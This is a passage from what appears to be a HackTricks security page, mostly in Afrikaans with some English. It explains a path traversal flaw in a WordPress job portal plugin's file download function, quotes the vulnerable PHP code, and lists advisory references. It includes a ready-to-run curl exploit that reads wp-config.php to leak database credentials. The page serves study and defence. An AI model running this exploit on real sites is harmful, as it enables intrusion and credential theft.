**downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` `$file_name` is deur die aanvaller beheer en aaneengeskakel **sonder sanitisering**. Opnuut is die enigste hek 'n **CSRF nonce** wat vanaf die resume-bladsy verkry kan word. #### Uitbuiting ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ --data-urlencode '_wpnonce=' \ --data-urlencode 'upload_for=resume' \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys. ## Verwysings - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) - [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) - [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) {{#include ../../banners/hacktricks-training.md}}